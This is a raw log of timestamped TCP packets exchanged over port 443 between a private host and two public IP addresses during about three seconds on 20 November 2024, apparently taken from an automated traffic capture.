Nov 20, 2024 00:19:25.026612043 CET	49819	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.030632019 CET	49819	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.030644894 CET	443	49819	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.103045940 CET	443	49815	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.103507996 CET	443	49815	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.103576899 CET	49815	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.113743067 CET	49815	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.113754988 CET	443	49815	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.113786936 CET	49815	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.113791943 CET	443	49815	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.123869896 CET	49820	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.123924017 CET	443	49820	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.124217033 CET	49820	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.124340057 CET	49820	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.124366045 CET	443	49820	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.213381052 CET	49821	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:25.213430882 CET	443	49821	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:25.213577032 CET	49821	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:25.214185953 CET	49821	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:25.214205980 CET	443	49821	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:25.415709972 CET	443	49816	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.416168928 CET	49816	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.416202068 CET	443	49816	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.416680098 CET	49816	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.416687012 CET	443	49816	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.433089018 CET	443	49817	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.433490038 CET	49817	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.433506012 CET	443	49817	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.433974981 CET	49817	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.433979988 CET	443	49817	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.520612001 CET	443	49816	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.520788908 CET	443	49816	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.520836115 CET	49816	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.520979881 CET	49816	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.520999908 CET	443	49816	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.521013021 CET	49816	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.521018982 CET	443	49816	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.521831036 CET	443	49818	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.523252964 CET	49818	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.523262978 CET	443	49818	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.523706913 CET	49818	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.523713112 CET	443	49818	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.525336027 CET	49822	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.525360107 CET	443	49822	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.525424004 CET	49822	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.525538921 CET	49822	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.525553942 CET	443	49822	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.540440083 CET	443	49817	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.540488005 CET	443	49817	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.540518999 CET	443	49817	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.540534973 CET	49817	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.540585995 CET	49817	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.546957016 CET	49817	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.546964884 CET	443	49817	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.578378916 CET	49823	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.578412056 CET	443	49823	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.578506947 CET	49823	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.578635931 CET	49823	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.578645945 CET	443	49823	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.633979082 CET	443	49818	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.634305000 CET	443	49818	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.634351969 CET	49818	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.635996103 CET	49818	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.636013985 CET	443	49818	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.636027098 CET	49818	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.636032104 CET	443	49818	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.648750067 CET	49824	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.648793936 CET	443	49824	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.648855925 CET	49824	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.650221109 CET	49824	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.650235891 CET	443	49824	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.719774961 CET	443	49819	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.721631050 CET	49819	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.721642971 CET	443	49819	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.722140074 CET	49819	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.722145081 CET	443	49819	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.791441917 CET	443	49820	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.791903973 CET	49820	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.791918039 CET	443	49820	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.792356014 CET	49820	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.792361975 CET	443	49820	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.829706907 CET	443	49819	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.829731941 CET	443	49819	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.829778910 CET	49819	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.829783916 CET	443	49819	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.829817057 CET	49819	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.834665060 CET	49819	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.834675074 CET	443	49819	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.834686041 CET	49819	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.834691048 CET	443	49819	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.838479996 CET	49825	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.838505983 CET	443	49825	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.838562965 CET	49825	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.838957071 CET	49825	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.838968039 CET	443	49825	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.902621984 CET	443	49820	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.902982950 CET	443	49820	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.903037071 CET	49820	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.915352106 CET	49820	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.915364981 CET	443	49820	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.915378094 CET	49820	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.915385008 CET	443	49820	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.922295094 CET	49826	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.922337055 CET	443	49826	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:25.922439098 CET	49826	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.922703981 CET	49826	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:25.922717094 CET	443	49826	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.051532984 CET	443	49821	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:26.051625967 CET	49821	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:26.055022955 CET	49821	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:26.055033922 CET	443	49821	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:26.055263996 CET	443	49821	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:26.057125092 CET	49821	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:26.057125092 CET	49821	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:26.057151079 CET	443	49821	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:26.057269096 CET	49821	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:26.103328943 CET	443	49821	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:26.228030920 CET	443	49822	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.239115953 CET	443	49821	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:26.239214897 CET	443	49821	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:26.239279032 CET	49821	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:26.239882946 CET	49821	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:26.239901066 CET	443	49821	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:26.240350008 CET	49822	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.240367889 CET	443	49822	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.240969896 CET	443	49823	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.241003990 CET	49822	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.241009951 CET	443	49822	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.241802931 CET	49823	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.241826057 CET	443	49823	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.242229939 CET	49823	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.242234945 CET	443	49823	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.329296112 CET	443	49824	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.332585096 CET	49824	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.332603931 CET	443	49824	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.333167076 CET	49824	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.333172083 CET	443	49824	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.345568895 CET	443	49822	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.345916986 CET	443	49822	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.345989943 CET	49822	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.346472979 CET	443	49823	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.346577883 CET	443	49823	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.347027063 CET	49823	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.355978012 CET	49822	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.355993032 CET	443	49822	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.356035948 CET	49822	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.356043100 CET	443	49822	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.356754065 CET	49823	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.356754065 CET	49823	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.356770992 CET	443	49823	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.356780052 CET	443	49823	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.368199110 CET	49827	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.368213892 CET	443	49827	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.368280888 CET	49827	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.370310068 CET	49828	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.370376110 CET	443	49828	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.370434999 CET	49828	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.371088982 CET	49827	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.371098995 CET	443	49827	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.371332884 CET	49828	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.371349096 CET	443	49828	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.443938017 CET	443	49824	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.444191933 CET	443	49824	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.444238901 CET	443	49824	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.444241047 CET	49824	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.444298029 CET	49824	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.525443077 CET	49824	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.525455952 CET	443	49824	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.525603056 CET	49824	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.525613070 CET	443	49824	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.531660080 CET	443	49825	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.579111099 CET	49825	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.580501080 CET	49825	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.580509901 CET	443	49825	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.581350088 CET	49825	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.581355095 CET	443	49825	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.585335970 CET	443	49826	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.585716963 CET	49826	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.585737944 CET	443	49826	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.586436033 CET	49826	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.586441994 CET	443	49826	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.662111998 CET	49829	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.662138939 CET	443	49829	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.662205935 CET	49829	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.685625076 CET	443	49825	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.686062098 CET	443	49825	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.686119080 CET	49825	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.694257975 CET	443	49826	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.694819927 CET	443	49826	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.694879055 CET	49826	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.745635033 CET	49829	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.745646954 CET	443	49829	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.749439955 CET	49825	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.749459028 CET	443	49825	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.749469995 CET	49825	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.749475002 CET	443	49825	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.753454924 CET	49826	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.753454924 CET	49826	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.753483057 CET	443	49826	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.753493071 CET	443	49826	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.762482882 CET	49830	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.762518883 CET	443	49830	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:26.762703896 CET	49830	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.762753010 CET	49830	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:26.762758017 CET	443	49830	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.032555103 CET	443	49827	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.038486958 CET	443	49828	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.062288046 CET	49831	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.062300920 CET	443	49831	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.062469006 CET	49831	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.072746038 CET	49827	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.072765112 CET	443	49827	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.073148012 CET	49828	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.073167086 CET	443	49828	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.073934078 CET	49827	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.073939085 CET	443	49827	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.073987961 CET	49828	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.073993921 CET	443	49828	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.076858044 CET	49831	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.076868057 CET	443	49831	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.174470901 CET	443	49827	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.174848080 CET	443	49827	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.174865007 CET	443	49828	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.174895048 CET	49827	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.174918890 CET	49827	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.174923897 CET	443	49827	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.174941063 CET	49827	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.174943924 CET	443	49827	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.175553083 CET	443	49828	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.175606012 CET	443	49828	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.175606012 CET	49828	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.175703049 CET	49828	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.175703049 CET	49828	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.175858021 CET	49828	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.175869942 CET	443	49828	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.177629948 CET	49837	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.177649021 CET	443	49837	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.177791119 CET	49837	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.178287029 CET	49837	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.178318024 CET	443	49837	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.178486109 CET	49838	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.178527117 CET	443	49838	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.178594112 CET	49838	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.178710938 CET	49838	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.178720951 CET	443	49838	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.473028898 CET	443	49829	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.476243019 CET	49829	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.476260900 CET	443	49829	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.477382898 CET	49829	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.477395058 CET	443	49829	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.584616899 CET	443	49829	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.584923983 CET	443	49829	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.584980011 CET	49829	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.588929892 CET	49829	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.588937998 CET	443	49829	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.588949919 CET	49829	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.588956118 CET	443	49829	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.597923994 CET	49841	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.597980976 CET	443	49841	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.598041058 CET	49841	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.598402977 CET	49841	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.598424911 CET	443	49841	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.649979115 CET	443	49830	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.694967031 CET	49830	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.704850912 CET	49830	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.704870939 CET	443	49830	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.705363035 CET	49830	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.705369949 CET	443	49830	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.765095949 CET	443	49831	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.808809996 CET	443	49830	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.808852911 CET	443	49830	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.808912992 CET	443	49830	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.808934927 CET	49830	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.808989048 CET	49830	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.809099913 CET	49831	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.840298891 CET	443	49837	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.841233015 CET	443	49838	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.892600060 CET	49837	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.892604113 CET	49838	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.896656990 CET	49831	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.896662951 CET	443	49831	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.897192001 CET	49831	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.897197008 CET	443	49831	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.897442102 CET	49838	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.897454977 CET	443	49838	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.897804022 CET	49838	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.897811890 CET	443	49838	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.897857904 CET	49830	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.897880077 CET	443	49830	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.897891998 CET	49830	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.897898912 CET	443	49830	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.898058891 CET	49837	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.898062944 CET	443	49837	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.898488045 CET	49837	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.898492098 CET	443	49837	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.900513887 CET	49842	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.900537968 CET	443	49842	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.900657892 CET	49842	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.900763988 CET	49842	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.900774956 CET	443	49842	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.997808933 CET	443	49837	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.998450041 CET	443	49837	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.998506069 CET	49837	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.998583078 CET	49837	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.998589993 CET	443	49837	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.998598099 CET	49837	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.998601913 CET	443	49837	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.998989105 CET	443	49838	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.999439955 CET	443	49838	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.999499083 CET	49838	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.999846935 CET	49838	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.999857903 CET	443	49838	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:27.999871969 CET	49838	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:27.999876976 CET	443	49838	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.003597975 CET	49844	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.003606081 CET	443	49844	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.003665924 CET	49844	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.004112005 CET	49844	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.004117966 CET	443	49844	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.005173922 CET	49845	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.005187035 CET	443	49845	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.005323887 CET	49845	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.005474091 CET	49845	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.005486965 CET	443	49845	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.089447021 CET	443	49831	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.089709044 CET	443	49831	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.089792013 CET	49831	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.089865923 CET	49831	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.089874029 CET	443	49831	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.089884043 CET	49831	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.089888096 CET	443	49831	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.092305899 CET	49846	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.092314959 CET	443	49846	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.092452049 CET	49846	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.092608929 CET	49846	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.092619896 CET	443	49846	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.264549017 CET	443	49841	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.265218019 CET	49841	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:28.265254974 CET	443	49841	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:28.266052961 CET	49841	443	192.168.2.6	13.107.246.45
